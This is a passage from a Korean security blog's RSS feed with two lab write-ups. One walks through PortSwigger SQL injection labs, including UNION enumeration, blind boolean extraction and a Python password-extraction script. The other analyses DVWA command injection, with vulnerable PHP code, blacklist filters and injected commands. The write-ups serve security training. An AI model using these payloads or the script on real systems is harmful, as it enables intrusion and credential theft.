data-og-image=&quot;https://scrap.kakaocdn.net/dn/gk7Vq/hyZbAfp8DI/o6fteUFd1iRLOIdECKgSwk/img.png?width=64&amp;amp;height=64&amp;amp;face=0_0_64_64,https://scrap.kakaocdn.net/dn/v2fUR/hyY7XpPM8b/HUP0xYMkyET87QJPU6dkRk/img.png?width=936&amp;amp;height=258&amp;amp;face=0_0_936_258,https://scrap.kakaocdn.net/dn/AbttH/hyY72EEHt5/AsuDOYl8vAqKpPiKfOkot0/img.png?width=518&amp;amp;height=214&amp;amp;face=0_0_518_214&quot;&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/gk7Vq/hyZbAfp8DI/o6fteUFd1iRLOIdECKgSwk/img.png?width=64&amp;amp;height=64&amp;amp;face=0_0_64_64,https://scrap.kakaocdn.net/dn/v2fUR/hyY7XpPM8b/HUP0xYMkyET87QJPU6dkRk/img.png?width=936&amp;amp;height=258&amp;amp;face=0_0_936_258,https://scrap.kakaocdn.net/dn/AbttH/hyY72EEHt5/AsuDOYl8vAqKpPiKfOkot0/img.png?width=518&amp;amp;height=214&amp;amp;face=0_0_518_214');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;OWASP Top Ten | OWASP Foundation&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The OWASP Top 10 is the reference standard for the most critical web application security risks. Adopting the OWASP Top 10 is perhaps the most effective first step towards changing your software development culture focused on producing secure code.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;owasp.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;본 글에서는 Non-Oracle 데이터베이스를 대상으로 한 SQL Injection 실습을 통해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;실제로 어떻게 정보 탈취가 발생할 수 있는지 살펴봅니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;General SQL Injection&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어플리케이션 레벨에서 반환된 결과를 반환하는 경우를 말합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;실습 개요&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 실습은 &lt;b&gt;PortSwigger&lt;/b&gt;에서 제공하는 SQL Injection 실습 문제를 바탕으로 진행되었으며 Oracle 이외의 DBMS를 사용하는 환경을 대상으로 합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 : Lab: SQL injection attack, listing the database contents on non-Oracle databases&lt;/li&gt;
&lt;li&gt;목표 : 사용자 계정 정보를 저장하고 있는 테이블을 식별하고, 관리자 계정을 탈취하여 로그인&lt;/li&gt;
&lt;li&gt;조건 : product category 필터 기능에 SQL Injection 취약점이 존재&lt;/li&gt;
&lt;/ul&gt;
&lt;figure id=&quot;og_1750166920968&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Web Application Security, Testing, &amp;amp; Scanning - PortSwigger&quot; data-og-description=&quot;PortSwigger offers tools for web application security, testing, &amp;amp; scanning. Choose from a range of security tools, &amp;amp; identify the very latest vulnerabilities.&quot; data-og-host=&quot;portswigger.net&quot; data-og-source-url=&quot;https://portswigger.net/&quot; data-og-url=&quot;https://portswigger.net/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/ddDnrM/hyY8Kw2YaV/k4hAmUQkX2vYzbwNij7vo1/img.jpg?width=1189&amp;amp;height=669&amp;amp;face=180_187_258_272,https://scrap.kakaocdn.net/dn/KzDEr/hyY8Tgo34T/mcb3DDA87iKGFuppOFytVk/img.png?width=300&amp;amp;height=252&amp;amp;face=0_0_300_252&quot;&gt;&lt;a href=&quot;https://portswigger.net/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://portswigger.net/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/ddDnrM/hyY8Kw2YaV/k4hAmUQkX2vYzbwNij7vo1/img.jpg?width=1189&amp;amp;height=669&amp;amp;face=180_187_258_272,https://scrap.kakaocdn.net/dn/KzDEr/hyY8Tgo34T/mcb3DDA87iKGFuppOFytVk/img.png?width=300&amp;amp;height=252&amp;amp;face=0_0_300_252');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Web Application Security, Testing, &amp;amp; Scanning - PortSwigger&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;PortSwigger offers tools for web application security, testing, &amp;amp; scanning. Choose from a range of security tools, &amp;amp; identify the very latest vulnerabilities.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;portswigger.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1단계. 쿼리 컬럼 수 파악&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 UNION SELECT를 이용한 공격을 수행하기 위해 원래 실행되는 쿼리의 컬럼 수를 파악합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;' union select null, null -- 이런식으로 작성하여 수를 파악할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1750168962597&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 정상 응답
https://test.com/filter?category=' order by 1 --

# 정상 응답
https://test.com/filter?category=' order by 2 --

# 오류 발생
https://test.com/filter?category=' order by 3 --&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;오류가 발생하는 지점으로부터&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;쿼리는 2개의 컬럼을 반환하고 있다는 사실을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2 단계. 테이블 목록 추출 &lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL, &lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot;&gt;Microsoft, &lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot;&gt;PostgreSQL 중 하나라고 가정하고 &lt;/span&gt;&lt;/span&gt;information_schema.tables에서 테이블 목록을 추출합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Oracle : ' union select table_name, null from all_tables --&lt;/li&gt;
&lt;li&gt;나머지는 동일합니다.&lt;/li&gt;
&lt;li&gt;주의사항으로는 컬럼의 타입도 맞아야 하기 때문에 오류가 발생한다면 컬럼의 위치를 바꿔줘야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1750169068418&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://test.com/filter?category=' UNION SELECT table_name, null FROM information_schema.tables --&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&amp;nbsp;  결과 예시&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1750169126529&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pg_partitioned_table
pg_available_extension_versions
pg_shdescription
user_defined_types
users_mhtybl
...&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과 중 user, member 등의 키워드를 포함하는 테이블이 여러 개 확인되었습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3 단계. 컬럼 정보 확인 &lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정 정보를 담고 있을 가능성이 있는 테이블들에 대해 컬럼 정보를 확인합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 과정이 가장 오래 걸렸습니다...&lt;/li&gt;
&lt;li&gt;Oracle : ' union select column_name, null from all_tab_columns where table_name = 'USER_DDTL' --&lt;/li&gt;
&lt;li&gt;나머지는 동일합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1750169207267&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://test.com/filter?category=' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users_mhtybl' --&lt;/code&gt;&lt;/pre&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;  결과 예시&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1750169244053&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;username_scgepf
email
password_kszhqp&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4 단계. 계정 정보 탈취 &lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인한 컬럼명을 이용하여 관리자 계정을 탈취합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1750169275543&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://test.com/filter?category=' UNION SELECT username_scgepf, password_kszhqp FROM users_mhtybl WHERE username_scgepf = 'administrator' --&lt;/code&gt;&lt;/pre&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;  결과 예시&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1750169293464&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;administrator
ssbft94kly12p86stzj6&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Blind SQL Injection&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어플리케이션 레벨에서 반환 값의 유무에 따라 UI 반응을 다르게 출력하는 경우입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿼리의 실행 결과와 오류 메시지를 숨길 수 있지만 제대로 된 검증이 없는 경우 아래와 같은 취약점이 발생합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;실습 개요&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;본 실습은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;PortSwigger&lt;/b&gt;에서 제공하는 SQL Injection 실습 문제를 바탕으로 진행됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 : Lab:&amp;nbsp;Blind&amp;nbsp;SQL&amp;nbsp;injection&amp;nbsp;with&amp;nbsp;conditional&amp;nbsp;responses&lt;/li&gt;
&lt;li&gt;목표 : Cookie : TrackingId를 조작하여 관리자 계정을 탈취하여 로그인&lt;/li&gt;
&lt;li&gt;조건 1 : 계정 정보는 users 테이블에 존재하며 username, password 컬럼이 존재&lt;/li&gt;
&lt;li&gt;조건 2 : 반환 값이 있는 경우 Welcome back! 이라는 문자 출력&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1 단계. 취약점 확인 및 쿼리 구조 파악 &lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1750175571401&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;asdf' and 1=1 --&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Welcome back!이 표시되면 조건이 참(true)인 경우 UI가 변경된다는 것을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1750175993858&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;asdf' and 1=2 --&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;반대로 AND 1=2 와 같이 거짓 조건을 주면 문구가 사라집니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 TrackingId 값이 내부적으로 WHERE 절의 조건에 포함되어 있다는것을 알 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2 단계. 타겟 정보 구조 추론&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;1069&quot; data-start=&quot;993&quot; data-ke-size=&quot;size16&quot;&gt;목표는 users 테이블에서 username='administrator' 인 사용자의 password 값을 알아내는 것입니다.&lt;/p&gt;
&lt;p data-end=&quot;1097&quot; data-start=&quot;1071&quot; data-ke-size=&quot;size16&quot;&gt;우선은 계정의 비밀번호 길이부터 확인해 보는것이 좋습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1750176657507&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;asdf' and LENGTH((select password from users where username ='administrator')) = 20 --&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;길이가 20일 경우 Welcome back! 문구가 응답됩니다.&lt;/li&gt;
&lt;li&gt;참/거짓 여부를 통해 길이를 하나씩 추론할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt; 3단계. 문자 하나씩 추출 &lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 진정한 노가다성 해킹이 발생하기 때문에 왠만하면 스크립트를 작성하여 자동화하는것이 좋습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1750176855027&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;asdf' and SUBSTRING((select password from usernmae where usernmae = 'administrator'), 1, 1) = 'a' --&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비밀번호의 첫 번째 글자가 'a'인지 여부를 묻는 쿼리입니다.&lt;/li&gt;
&lt;li&gt;이 방식으로 알파벳, 숫자, 특수문자를 반복해서 대입하며 문자 하나씩 찾아갑니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;자동화 스크립트&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 스크립트는 python으로 가장 기본적으로 작성했습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1750178238864&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests

url = &quot;https://test.com/&quot;

base_cookie_value = &quot;qIRSflLXxSCkFGe0&quot;

# 이건 테스트를 통해 알아내야 합니다.
true_length = 11489

charset = &quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;

found_password = &quot;&quot;
max_password_length = 20

for position in range(1, max_password_length + 1):
    found = False
    for char in charset:

        injection = f&quot;{base_cookie_value}' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),{position},1)='{char}'--&quot;

        cookies = {
            &quot;TrackingId&quot;: injection
        }

        response = requests.get(url, cookies=cookies)

        if len(response.text) == true_length:
            found_password += char
            print(f&quot;찾은 글자 {position}: {char}&quot;)
            found = True
            break

    if not found:
        print(f&quot;없는데요? {position}. Ending.&quot;)
        break

print(f&quot;\n최종 비밀번호 : {found_password}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt; 4단계. 전체 비밀번호 탈취&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 단계를 반복해 20자리 비밀번호를 완성할 수 있습니다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <category>sql injection</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/287</guid>
      <comments>https://jangto.tistory.com/entry/%EC%9B%B9-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8B%A4%EC%8A%B5-%EB%82%9C%EC%9D%B4%EB%8F%84-%ED%95%98-SQL-Injection%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%82%AC%EC%9A%A9%EC%9E%90-%EA%B3%84%EC%A0%95-%EC%A0%95%EB%B3%B4-%ED%83%88%EC%B7%A8-Non-Oracle-%ED%99%98%EA%B2%BD#entry287comment</comments>
      <pubDate>Tue, 17 Jun 2025 23:10:54 +0900</pubDate>
    </item>
    <item>
      <title>[A03:2021 - Injection] Command Injection (Low~High) - PHP</title>
      <link>https://jangto.tistory.com/entry/DVWA-Command-Injection-LowHigh-PHP</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;DVWA(Damn Vulnerable Web Application)는 웹 애플리케이션 보안 실습을 위한 플랫폼입니다.&lt;br /&gt;이번 글에서는 Command Injection 취약점 중 Low ~ high 보안 등급에서의 동작을 살펴보고 실제 공격 시나리오와 취약점 원인을 PHP 코드로 분석합니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Command Injection 이란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값이 서버의 명령어 실행 함수에 그대로 전달되어 임의 명령어를 실행할 수 있게 되는 취약점입니다.&lt;br /&gt;공격자는 시스템 명령어를 삽입하여 파일 탐색, 시스템 정보 탈취, 권한 상승 등을 시도할 수 있습니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  Low 보안 등급&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1749930179146&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo &quot;&amp;lt;pre&amp;gt;{$cmd}&amp;lt;/pre&amp;gt;&quot;;
}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;shell_exec() 함수는 인자로 전달된 문자열을 OS 명령어로 실행하고 결과를 반환합니다.&lt;/li&gt;
&lt;li&gt;사용자 입력값 $_REQUEST['ip']에 대한 필터링이나 검증이 전혀 없어 공격자가 임의 쉘 명령어를 삽입할 수 있습니다.&lt;/li&gt;
&lt;li&gt;Linux에서 ;, &amp;amp;&amp;amp;, | 등 여러 명령어 연결자가 허용되어 명령어 삽입이 쉽습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 42px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 30.814%; text-align: left; height: 21px;&quot;&gt;shell_exec()&lt;/td&gt;
&lt;td style=&quot;width: 37.4418%; text-align: left; height: 21px;&quot;&gt;명령어 실행 후 결과를 문자열로 반환&lt;/td&gt;
&lt;td style=&quot;width: 31.7442%; text-align: left; height: 21px;&quot;&gt;echo로 출력 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 30.814%; text-align: left; height: 21px;&quot;&gt;system()&lt;/td&gt;
&lt;td style=&quot;width: 37.4418%; text-align: left; height: 21px;&quot;&gt;명령어 실행 후 결과를 즉시 출력&lt;/td&gt;
&lt;td style=&quot;width: 31.7442%; text-align: left; height: 21px;&quot;&gt;자동 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;공격 예시&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1749930782082&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;127.0.0.1; ls -al&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ping -c 4 127.0.0.1; ls -al 명령어로 해석되어 ping 실행 후 현재 디렉토리 목록을 출력합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  Medium 보안 등급&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1749995945553&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&amp;amp;&amp;amp;' =&amp;gt; '',
        ';'  =&amp;gt; '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo &quot;&amp;lt;pre&amp;gt;{$cmd}&amp;lt;/pre&amp;gt;&quot;;
}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Low 등급에서 발견된 ; 와 &amp;amp;&amp;amp; 문자를 제거하는 필터링을 추가했지만 여전히 명령어 연결에 사용되는 다른 연산자들(|, &amp;amp; 등)은 차단하지 않아 취약점이 존재합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;공격 예시&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1749996110389&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;127.0.0.1 | ls&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt; ️ High 보안 등급&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1749996702525&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&amp;amp;'  =&amp;gt; '',
        ';'  =&amp;gt; '',
        '| ' =&amp;gt; '',
        '-'  =&amp;gt; '',
        '$'  =&amp;gt; '',
        '('  =&amp;gt; '',
        ')'  =&amp;gt; '',
        '`'  =&amp;gt; '',
        '||' =&amp;gt; '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo &quot;&amp;lt;pre&amp;gt;{$cmd}&amp;lt;/pre&amp;gt;&quot;;
}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;취약점 분석&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;이전 등급에 비해 차단하는 문자가 많이 늘었으나 공백이나 다른 우회 기법에는 여전히 취약합니다.&lt;/li&gt;
&lt;li&gt;Blacklist 방식은 필터링 누락에 따른 우회가 쉽고 새로운 특수문자 등장 시 재차 검증이 필요하여 완전하지 않습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;공격 예시&lt;/h4&gt;
&lt;pre id=&quot;code_1749996920400&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;127.0.0.1|ls&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  Impossible 보안 등급&lt;/h3&gt;
&lt;pre id=&quot;code_1749997324174&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( &quot;.&quot;, $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) &amp;amp;&amp;amp; ( is_numeric( $octet[1] ) ) &amp;amp;&amp;amp; ( is_numeric( $octet[2] ) ) &amp;amp;&amp;amp; ( is_numeric( $octet[3] ) ) &amp;amp;&amp;amp; ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo &quot;&amp;lt;pre&amp;gt;{$cmd}&amp;lt;/pre&amp;gt;&quot;;
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '&amp;lt;pre&amp;gt;ERROR: You have entered an invalid IP.&amp;lt;/pre&amp;gt;';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

